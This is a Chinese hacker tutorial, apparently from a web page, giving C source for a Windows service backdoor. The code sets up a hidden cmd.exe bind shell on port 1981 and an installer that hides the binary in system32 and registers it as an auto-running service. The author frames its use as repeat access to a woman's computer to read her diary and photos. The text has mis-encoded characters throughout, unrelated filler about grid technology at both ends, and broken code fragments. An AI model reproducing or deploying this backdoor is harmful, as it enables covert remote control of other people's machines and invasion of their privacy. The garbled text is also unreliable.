|
網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機(jī)、存儲資源、數(shù)據(jù)資源、信息資源、知識資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 以往大多數(shù)的木馬/后門都是通過修改系統(tǒng)ini文件(比如Win.ini,System.ini)或修改注冊表的RUN值來實現(xiàn)自啟動的,還有更簡單的是修改Autobat.exe(老大,地球不適合你,你還是回火星吧),但隨著網(wǎng)絡(luò)用戶安全意識的提高,連我家旁邊賣茶葉蛋的大媽都知道如何對付這些老方法了。為了適應(yīng)新時代木馬后門技術(shù)的發(fā)展要求,一種利用Windows NT/2000/XP系統(tǒng)服務(wù)的后門產(chǎn)生了,現(xiàn)在的WinShell,WinEggDrop等眾人皆知的Telnte擴(kuò)展后門都利用了這種方式。相信很多小菜們對這種后門技術(shù)并不了解,所以,我在這里就充個大頭,給大家傳授教業(yè)解解惑吧(受害MM目光呆滯,一臉絕望:有了你們這幫人,天下什么時候才能“無賊”?)。前置原理 Windows NT/2000/XP提供的服務(wù)既可以指一種特定的Win32進(jìn)程,也可以指內(nèi)核模式的設(shè)備驅(qū)動程序。操作系統(tǒng)的一個稱為“服務(wù)控制管理器SCM”的組件被用來裝載和控制這兩種類型的服務(wù)。當(dāng)然,我們說的服務(wù),是指的前者,即我們可以利用的服務(wù)是一個在Windows NT/2000/XP下執(zhí)行的程序。當(dāng)我們打開“控制面板管理工具服務(wù)”,就可以看到右邊有一堆的服務(wù),如圖1所示。每一行指定了一個特定服務(wù)的屬性,包括名稱、描述、狀態(tài)、啟動類型、登錄方式等。
圖1 “服務(wù)”本身是Windows NT/2000/XP下客戶/服務(wù)器軟件的合理選擇,因為它提供了像Unix下后臺程序Daemons(守護(hù)進(jìn)程)的等價物,而且使得創(chuàng)建能夠代表權(quán)限低的用戶進(jìn)行權(quán)限高的操作的程序成為可能。像我們熟知的RPC服務(wù),病毒掃描程序以及備份程序都是很適合作為服務(wù)進(jìn)程。 服務(wù)能被我們利用作為后門實現(xiàn)自啟動,是因為它有三個很重要的特性: 1. 服務(wù)可以被指定為自啟動,在利用傳統(tǒng)的注冊表修改RUN鍵值,添加ini自啟動項等方法的基礎(chǔ)上又多了一種選擇。 2. 服務(wù)可以在任何用戶登錄前開始運(yùn)行,我們可以在服務(wù)啟動時加入殺防火墻的代碼。 3. 服務(wù)是運(yùn)行在后臺的,如果不注意,天知道什么時候被人家裝了后門。 服務(wù)大都是由服務(wù)控制程序在注冊表中維護(hù)的一個信息數(shù)據(jù)庫來管理的,每個服務(wù)在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都可以找到相應(yīng)的一個關(guān)鍵項。服務(wù)區(qū)別于一般Windows NT/2000/XP程序的主要之處在于服務(wù)與服務(wù)控制管理程序的合作,在后面的編程中我們將會體會到這一點。 編程實現(xiàn) 一個完整的服務(wù)分為安裝服務(wù)程序,主體服務(wù)程序和卸載服務(wù)程序。我們先來寫服務(wù)的主體部分,示例代碼如下: void main() { SERVICE_TABLE_ENTRY ServiceTable[] = { {"scuhkr", BDServiceMain}, {NULL, NULL} //"哨兵" }; //連接到服務(wù)控制管理器 StartServiceCtrlDispatcher(ServiceTable); } 路人甲:什么,就這么短?你想侮辱廣大鳥兒的智慧?呵呵,先別急,聽我慢慢道來:上面代碼中,我們先給出了一個SERVICE_TABLE_ENTRY結(jié)構(gòu)數(shù)組,每個成員描述了調(diào)用進(jìn)程提供的服務(wù),這里我們只安裝了一個服務(wù)名為Scuhkr的服務(wù),后面的BDServiceMain()我們稱之為服務(wù)主函數(shù),通過回調(diào)該函數(shù)提供了服務(wù)入口地址,它原形的參數(shù)必須定義成如下形式: VOID WINAPI BDServiceMain( DWORD dwArgc, //lpszArgv參數(shù)個數(shù) LPTSTR* lpszArgv //該數(shù)組第一個的參數(shù)指定了服務(wù)名,可以在后面被 StartService()來調(diào)用 ); SERVICE_TABLE_ENTRY結(jié)構(gòu)數(shù)組要求最后一個成員組都為NULL,我們稱之為“哨兵”(所有值都為NULL),表示該服務(wù)表末尾。一個服務(wù)啟動后,馬上調(diào)用StartServiceCtrlDispatcher()通知服務(wù)控制程序服務(wù)正在執(zhí)行,并提供服務(wù)函數(shù)的地址。StartServiceCtrlDispatcher()只需要一個至少有兩SERVICE_TABLE_ENTRY結(jié)構(gòu)的數(shù)組,它為每個服務(wù)啟動一個線程,一直等到它們結(jié)束才返回。 本程序只提供了一個服務(wù)函數(shù)BDServiceMain(),下面我們來下完成這個函數(shù)的功能,示例代碼如下: void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv) { DWORD dwThreadId; //存放線程ID //通過RegisterServiceCtrlHandler()與服務(wù)控制程序建立一個通信的協(xié)議。 //BDHandler()是我們的服務(wù)控制程序,它被可以被用來開始,暫停,恢復(fù),停止服務(wù)等控制操作 if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr", BDHandler))) return; //表示該服務(wù)私有 ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; //初始化服務(wù),正在開始 ServiceStatus.dwCurrentState = SERVICE_START_PENDING; // //服務(wù)可以接受的請求,這里我們只接受停止服務(wù)請求和暫;謴(fù)請求 ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; //下面幾個一般我們不大關(guān)心,全為0 ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; //必須調(diào)用SetServiceStatus()來響應(yīng)服務(wù)控制程序的每次請求通知 SetServiceStatus(ServiceStatusHandle, &ServiceStatus); [page_break]//開始運(yùn)行服務(wù) ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(ServiceStatusHandle, &ServiceStatus); //我們用一個事件對象來控制服務(wù)的同步 if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL))) return; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(ServiceStatusHandle, &ServiceStatus); //開線程來啟動我們的后門程序 if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId))) ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; WaitForSingleObject(hEvent, INFINITE); CloseHandle(hThread); ExitThread(dwThreadId); CloseHandle(hEvent); return; } 上面我們調(diào)用了一個服務(wù)控制函數(shù)BDHandler(),由于只是簡單的介紹,我們這里只處理服務(wù)停止控制請求的情況,其它暫停、恢復(fù)等功能,讀者可以自己完善。下面是對BDHandler()的實現(xiàn)代碼: void WINAPI BDHandler(DWORD dwControl) { switch(dwControl) { case SERVICE_CONTROL_STOP: //等待后門程序的停止 ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; SetServiceStatus(ServiceStatusHandle, &ServiceStatus); //設(shè)時間為激發(fā)狀態(tài),等待下一個事件的到來 SetEvent(hEvent); ServiceStatus.dwCurrentState = SERVICE_STOP; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; //停止 SetServiceStatus(ServiceStatusHandle, &ServiceStatus); break; default: break; } } 服務(wù)控制函數(shù)搞定了,下面就剩下主體的后門函數(shù)了。本程序借用了N多前輩翻寫過了無數(shù)次的后門程序,通過開一個端口監(jiān)聽,允許任何與該端口連接的遠(yuǎn)程主機(jī)建立信任連接,并提供一個交互式Shell。為了代碼清晰,我去掉了錯誤檢查,整個過程很簡單,也就不多解釋了,黑防上都有N期介紹了,代碼如下: DWORD WINAPI MainFn(LPVOID lpParam) { WSADATA WSAData; struct sockaddr_in RemoteAddr; DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0; PROCESS_INFORMATION processinfo; STARTUPINFO startinfo; WSAStartup(MAKEWORD(2,2),&WSAData); ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); RemoteAddr.sin_family = AF_INET; RemoteAddr.sin_port = htons(1981); //監(jiān)聽端口 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY; bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr)); listen(ServerSocket, 2); varA = 0; varB = 0; CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA); CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB); dowhile((varA || varB) == 0); GetStartupInfo(&startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; startinfo.hStdInput = hReadPipe; startinfo.hStdError = hWritePipe; startinfo.hStdOutput = hWritePipe; startinfo.wShowWindow = SW_HIDE; //隱藏控制臺窗口 char szAPP[256]; GetSystemDirectory(szAPP,MAX_PATH+1); strcat(szAPP,"cmd.exe"); [page_break]//開cmd進(jìn)程 if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo, &processinfo) == 0) { printf ("CreateProcess Error!n"); return -1; } while (true) { ClientSocket = accept(ServerSocket, NULL, NULL); Sleep(250); } return 0; } //線程函數(shù)A, 通過管道A來從控制端接受輸入,然后寫入被控制端輸入端 DWORD WINAPI ThreadFuncA( LPVOID lpParam ) { SECURITY_ATTRIBUTES pipeattr; DWORD nByteToWrite, nByteWritten; char recv_buff[1024]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe(&hReadPipe, &hWriteFile, &pipeattr, 0); varA = 1; while(true) { Sleep(250); nByteToWrite = recv(ClientSocket, recv_buff, 1024, 0); printf("%sn", recv_buff); WriteFile(hWriteFile, recv_buff, nByteToWrite, &nByteWritten, NULL); } return 0; } //線程函數(shù)B, 通過管道B來從被控制端接受輸入,然后寫到控制端輸出端 DWORD WINAPI ThreadFuncB( LPVOID lpParam ) { SECURITY_ATTRIBUTES pipeattr; DWORD len; char send_buff[25000]; pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeattr.lpSecurityDescriptor = NULL; pipeattr.bInheritHandle = TRUE; CreatePipe(&hReadFile, &hWritePipe, &pipeattr, 0); varB = 1; while (true) return 0; } 在我們成功入侵目標(biāo)MM主機(jī)后,看了MM的照片,讀了MM的日記……此處省略惡行30條。在拍屁股走人之前,怎么也要留個后門,方便下次繼續(xù)看新的照片,繼續(xù)讀MM的小秘密(呵呵,大家不要誤會,我從來不干這種事D)。那后門怎么留?我們上面寫的都是主體部分,還沒安裝呢。安裝服務(wù)的部分其實很簡單,示例代碼如下: // InstallService.cpp void main() { SC_HANDLE hSCManager = NULL, //服務(wù)控制管理器句柄 hService = NULL; //服務(wù)句柄 char szSysPath[MAX_PATH]=, szExePath[MAX_PATH]=; //我們要把我們后臺執(zhí)行的程序放在這里,一般就是在admin$system32里,隱蔽性高 if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主機(jī) NULL, // 要打開的服務(wù)控制管理數(shù)據(jù)庫,默認(rèn)為空 SC_MANAGER_CREATE_SERVICE//創(chuàng)建權(quán)限 ))==NULL) { pirntf("OpenSCManager failedn"); return; } GetSystemDirectory(szSysPath, MAX_PATH); //獲得系統(tǒng)目錄,也就是system32里面,隱蔽起來 strcpy(szExePath, szSysPath); strcat(szExePath, "scuhkr.exe"); //應(yīng)用程序絕對路徑 [page_break]if ((hService=CreateService(hSCManager, //指向服務(wù)控制管理數(shù)據(jù)庫的句柄 "scuhkr", //服務(wù)名 "scuhkr backdoor service", //顯示用的服務(wù)名 SERVICE_ALL_ACCESS, //所有訪問權(quán)限 SERVICE_WIN32_OWN_PROCESS, //私有類型 SERVICE_DEMAND_START, //自啟動類型 SERVICE_ERROR_IGNORE, //忽略錯誤處理 szExePath, //應(yīng)用程序路徑 NULL, NULL, NULL, NULL, NULL)) == NULL) { printf("%dn", GetLastError()); return; } //讓服務(wù)馬上運(yùn)行。萬一是個服務(wù)器,10天半個月不重啟,豈不是沒搞頭? if(StartService(hService, 0, NULL) == FALSE) { printf("StartService failed: %dn", GetLastError()); return; } printf(“Install service successfullyn ”); CloseServiceHandle(hService); //關(guān)閉服務(wù)句柄 CloseServiceHandle(hSCManager); //關(guān)閉服務(wù)管理數(shù)據(jù)庫句柄 } Ok,一切都寫完了,我們在本機(jī)上測試一下,先把前面的服務(wù)主體程序Scuhkr.exe拷貝到系統(tǒng)目錄system32下(如果需要程序自動實現(xiàn)自拷貝的,可以通過CopyFile()來實現(xiàn),具體怎么做偶就不講了,相信聰明的你三下五除二就能搞定,確實不行就去找WinShell的源代碼來看看吧),然后執(zhí)行InstallServcie.exe。為了看我們是否安裝成功,有兩個辦法,一是通過控制面板->管理工具->服務(wù),二是利用控制臺下系統(tǒng)自帶的Sc.exe工具,比如:“sc.exe qc rpcss”,如圖2所示?吹桨惭b服務(wù)的信息了?是不是很簡單呢!
圖2 至于以后不想再要這個MM的肉雞了,又不想留下把柄什么的,要刪除服務(wù)怎么辦?讀者就自己當(dāng)做練習(xí)吧。還有一點要說的是,本人也是臨時抱佛腳,狂啃了幾天關(guān)于NT系統(tǒng)服務(wù)方面的編程,如果有什么不對,歡迎大家批評指正! 網(wǎng)絡(luò)的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來越嚴(yán)峻的考驗―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項技術(shù)都需要適時應(yīng)勢,對應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!